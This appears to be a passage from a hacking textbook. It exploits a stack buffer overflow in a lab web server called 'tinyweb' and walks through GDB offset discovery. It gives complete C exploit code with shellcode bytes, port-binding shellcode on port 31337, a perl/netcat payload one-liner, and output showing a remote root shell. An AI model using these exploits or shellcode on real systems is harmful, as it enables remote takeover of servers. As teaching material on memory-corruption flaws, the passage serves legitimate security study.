Network programming tends to move many chunks of memory around and is heavy in typecasting. You've seen for yourself how crazy some of the typecasts can get. Mistakes thrive in this type of chaos. And since many network programs need to run as root, these little mistakes can become critical vulnerabilities. One such vulnerability exists in the code from this chapter. Did you notice it?
/* This function accepts a socket FD and a ptr to a destination * buffer. It will receive from the socket until the EOL byte * sequence in seen. The EOL bytes are read from the socket, but * the destination buffer is terminated before these bytes. * Returns the size of the read line (without EOL bytes). */ int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-of-line byte sequence #define EOL_SIZE 2 unsigned char *ptr; int eol_matched = 0; ptr = dest_buffer; while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte. if(*ptr == EOL[eol_matched]) { // Does this byte match terminator? eol_matched++; if(eol_matched == EOL_SIZE) { // If all bytes match terminator, *(ptr+1-EOL_SIZE) = '\0'; // terminate the string. return strlen(dest_buffer); // Return bytes recevied. } } else { eol_matched = 0; } ptr++; // Increment the pointer to the next byte. } return 0; // Didn't find the end-of-line characters. }
The recv_line()
function in hacking-network.h has a small mistake of omission—there is no code to limit the length. This means received bytes can overflow if they exceed the dest_buffer
size. The tinyweb server program and any other programs that use this function are vulnerable to attack.
To exploit the vulnerability in the tinyweb.c program, we just need to send packets that will strategically overwrite the return address. First, we need to know the offset from the start of a buffer we control to the stored return address. Using GDB, we can analyze the compiled program to find this; however, there are some subtle details that can cause tricky problems. For example, the program requires root privileges, so the debugger must be run as root. But using sudo
or running with root's environment will change the stack, meaning the addresses seen in the debugger's run of the binary won't match the addresses when it's running normally. There are other slight differences that can shift memory around in the debugger like this, creating inconsistencies that can be maddening to track down. According to the debugger, everything will look like it should work; however, the exploit fails when run outside the debugger, since the addresses are different.
One elegant solution to this problem is to attach to the process after it's already running. In the output below, GDB is used to attach to an already-running tinyweb process that was started in another terminal. The source is recompiled using the -g
option to include debugging symbols that GDB can apply to the running process.
reader@hacking:~/booksrc $ ps aux | grep tinyweb root 13019 0.0 0.0 1504 344 pts/0 S+ 20:25 0:00 ./tinyweb reader 13104 0.0 0.0 2880 748 pts/2 R+ 20:27 0:00 grep tinyweb reader@hacking:~/booksrc $ gcc -g tinyweb.c reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 13019 /cow/home/reader/booksrc/tinyweb: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) bt #0 0xb7fe77f2 in ?? () #1 0xb7f691e1 in ?? () #2 0x08048ccf in main () at tinyweb.c:44 (gdb) list 44 39 if (listen(sockfd, 20) == -1) 40 fatal("listening on socket"); 41 42 while(1) { // Accept loop 43 sin_size = size of(struct sockaddr_in); 44new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
45 if(new_sockfd == -1) 46 fatal("accepting connection"); 47 48 handle_connection(new_sockfd, &client_addr); (gdb) list handle_connection 53 /* This function handles the connection on the passed socket from the 54 * passed client address. The connection is processed as a web request 55 * and this function replies over the connected socket. Finally, the 56 * passed socket is closed at the end of the function. 57 */ 58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) { 59 unsigned char *ptr, request[500], resource[500]; 60 int fd, length; 61 62 length =recv_line(sockfd, request); (gdb) break 62 Breakpoint 1 at 0x8048d02: file tinyweb.c, line 62. (gdb) cont Continuing.
After attaching to the running process, a stack backtrace shows the program is currenty in main()
, waiting for a connection. After setting a breakpoint at the first recv_line()
call on line 62 (), the program is allowed to continue. At this point, the program's execution must be advanced by making a web request using
wget
in another terminal or a browser. Then the breakpoint in handle_connection()
will be hit.
Breakpoint 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 62 length = recv_line(sockfd, request); (gdb) x/x request 0xbffff5c0: 0x00000000 (gdb) bt #0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) at tinyweb.c:62 #1 0x08048cf6 in main () at tinyweb.c:48 (gdb) x/16xw request+500 0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848 0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0 0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048cf6 0x00000004 0xbffff7e4: 0xbffff810 0xbffff80c 0xbffff834 0x00000004 (gdb) x/x 0xbffff7d4+80xbffff7dc: 0x08048cf6 (gdb) p 0xbffff7dc - 0xbffff5c0 $1 = 540 (gdb) p /x 0xbffff5c0 + 200 $2 = 0xbffff688 (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 13019 reader@hacking:~/booksrc $
At the breakpoint, the request buffer begins at 0xbfffff5c0
. The bt
command's stack backtrace shows that the return address from handle_connection()
is 0x08048cf6
. Since we know how the local variables are generally laid out on the stack, we know the request buffer is near the end of the frame. This means that the stored return address should be on the stack somewhere near the end of this 500-byte buffer. Since we already know the general area to look, a quick inspection shows the stored return address is at 0xbffff7dc
(). A little math shows the stored return address is 540 bytes from the start of the request buffer. However, there are a few bytes near the beginning of the buffer that might be mangled by the rest of the function. Remember, we don't gain control of the program until the function returns. To account for this, it's best to just avoid the beginning of the buffer. Skipping the first 200 bytes should be safe, while leaving plenty of space for shellcode in the remaining 300 bytes. This means
0xbffff688
is the target return address.
The following exploit for the tinyweb program uses the offset and return address overwrite values calculated with GDB. It fills the exploit buffer with null bytes, so anything written into it will automatically be null-terminated. Then it fills the first 540 bytes with NOP instructions. This builds the NOP sled and fills the buffer up to the return address overwrite location. Then the entire string is terminated with the '\r\n'
line terminator.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include "hacking.h" #include "hacking-network.h" char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; // Standard shellcode #define OFFSET 540 #define RETADDR 0xbffff688 int main(int argc, char *argv[]) { int sockfd, buflen; struct hostent *host_info; struct sockaddr_in target_addr; unsigned char buffer[600]; if(argc < 2) { printf("Usage: %s <hostname>\n", argv[0]); exit(1); } if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(80); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); bzero(buffer, 600); // Zero out the buffer. memset(buffer, '\x90', OFFSET); // Build a NOP sled. *((u_int *)(buffer + OFFSET)) = RETADDR; // Put the return address in memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode. strcat(buffer, "\r\n"); // Terminate the string. printf("Exploit buffer:\n"); dump(buffer, strlen(buffer)); // Show the exploit buffer. send_string(sockfd, buffer); // Send exploit buffer as an HTTP request. exit(0); }
When this program is compiled, it can remotely exploit hosts running the tinyweb program, tricking them into running the shellcode. The exploit also dumps out the bytes of the exploit buffer before it sends it. In the output below, the tinyweb program is run in a different terminal, and the exploit is tested against it. Here's the output from the attacker's terminal:
reader@hacking:~/booksrc $ gcc tinyweb_exploit.c reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............1.1. 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1......j.XQh//sh 68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/bin..Q..S..... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0d 0a | .. reader@hacking:~/booksrc $
Back on the terminal running the tinyweb program, the output shows the exploit buffer was received and the shellcode is executed. This will provide a rootshell, but only for the console running the server. Unfortunately, we aren't at the console, so this won't do us any good. At the server console, we see the following:
reader@hacking:~/booksrc $ ./tinyweb Accepting web requests on port 80 Got request from 127.0.0.1:53908 "GET / HTTP/1.1" Opening './webroot/index.html' 200 OK Got request from 127.0.0.1:40668 "GET /image.jpg HTTP/1.1" Opening './webroot/image.jpg' 200 OK Got request from 127.0.0.1:58504 "␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣1␣ 1␣ 1␣␣␣ j XQh//shh/bin␣␣S ␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣" NOT HTTP! sh-3.2#
The vulnerability certainly exists, but the shellcode doesn't do what we want in this case. Since we're not at the console, shellcode is just a selfcontained program, designed to take over another program to open a shell. Once control of the program's execution pointer is taken, the injected shellcode can do anything. There are many different types of shellcode that can be used in different situations (or payloads). Even though not all shellcode actually spawns a shell, it's still commonly called shellcode.
When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely. Assuming you already have port-binding shellcode ready, using it is simply a matter of replacing the shellcode bytes defined in the exploit. Port-binding shellcode is included in the LiveCD that will bind to port 31337. These shellcode bytes are shown in the output below.
reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.| 00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....| 00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?| 00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b| 00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....| 0000005c reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e 's/ /\\x/g' \x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80 \x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10 \x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80 \xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f \xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80 reader@hacking:~/booksrc $
After some quick formatting, these bytes are swapped into the shellcode bytes of the tinyweb_exploit.c program, resulting in tinyweb_exploit2.c. The new shellcode line is shown below.
char shellcode[]= "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80" "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; // Port-binding shellcode on port 31337
When this exploit is compiled and run against a host running tinyweb server, the shellcode listens on port 31337 for a TCP connection. In the output below, a program called nc is used to connect to the shell. This program is netcat (nc for short), which works like that cat program but over the network. We can't just use telnet to connect since it automatically terminates all outgoing lines with '\r\n'
. The output of this exploit is shown below. The -vv
command-line option passed to netcat is just to make it more verbose.
reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX. 31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX 43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV.. cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR 52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin.. 52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0d 0a | .. reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root ls -l /etc/passwd -rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd
Even though the remote shell doesn't display a prompt, it still accepts commands and returns the output over the network.
A program like netcat can be used for many other things. It's designed to work like a console program, allowing standard input and output to be piped and redirected. Using netcat and the port-binding shellcode in a file, the same exploit can be carried out on the command line.
reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:~/booksrc $ echo $((540+4 - 300 - 92)) 152 reader@hacking:~/booksrc $ echo $((152 / 4)) 38 reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300'; > cat portbinding_shellcode > perl -e 'print "\x88\xf6\xff\xbf"x38 . \r\n"') "␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ ␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ jfX␣1␣CRj j ␣␣ ␣␣jfXC RfhzifS␣␣j QV␣␣ ␣fCCSV␣␣ ␣fCRRV␣␣ ␣j Y␣? Iy␣␣ Rh//shh/bin␣␣R␣␣S␣␣ ␣␣␣␣␣␣␣␣ "␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ "␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣␣ reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300'; cat portbinding_shellcode; perl -e 'print "\x88\xf6\xff\xbf"x38 . "\r\n"') | nc -v -w1 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ nc -v 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root
In the output above, first the length of the port-binding shellcode is shown to be 92 bytes. The return address is found 540 bytes from the start of the buffer, so with a 300-byte NOP sled and 92 bytes of shellcode, there are 152 bytes to the return address overwrite. This means that if the target return address is repeated 38 times at the end of the buffer, the last one should do the overwrite. Finally, the buffer is terminated with '\r\n'
. The commands that build the buffer are grouped with parentheses to pipe the buffer into netcat. netcat connects to the tinyweb program and sends the buffer. After the shellcode runs, netcat needs to be broken out of by pressing CTRL-C, since the original socket connection is still open. Then, netcat is used again to connect to the shell bound on port 31337.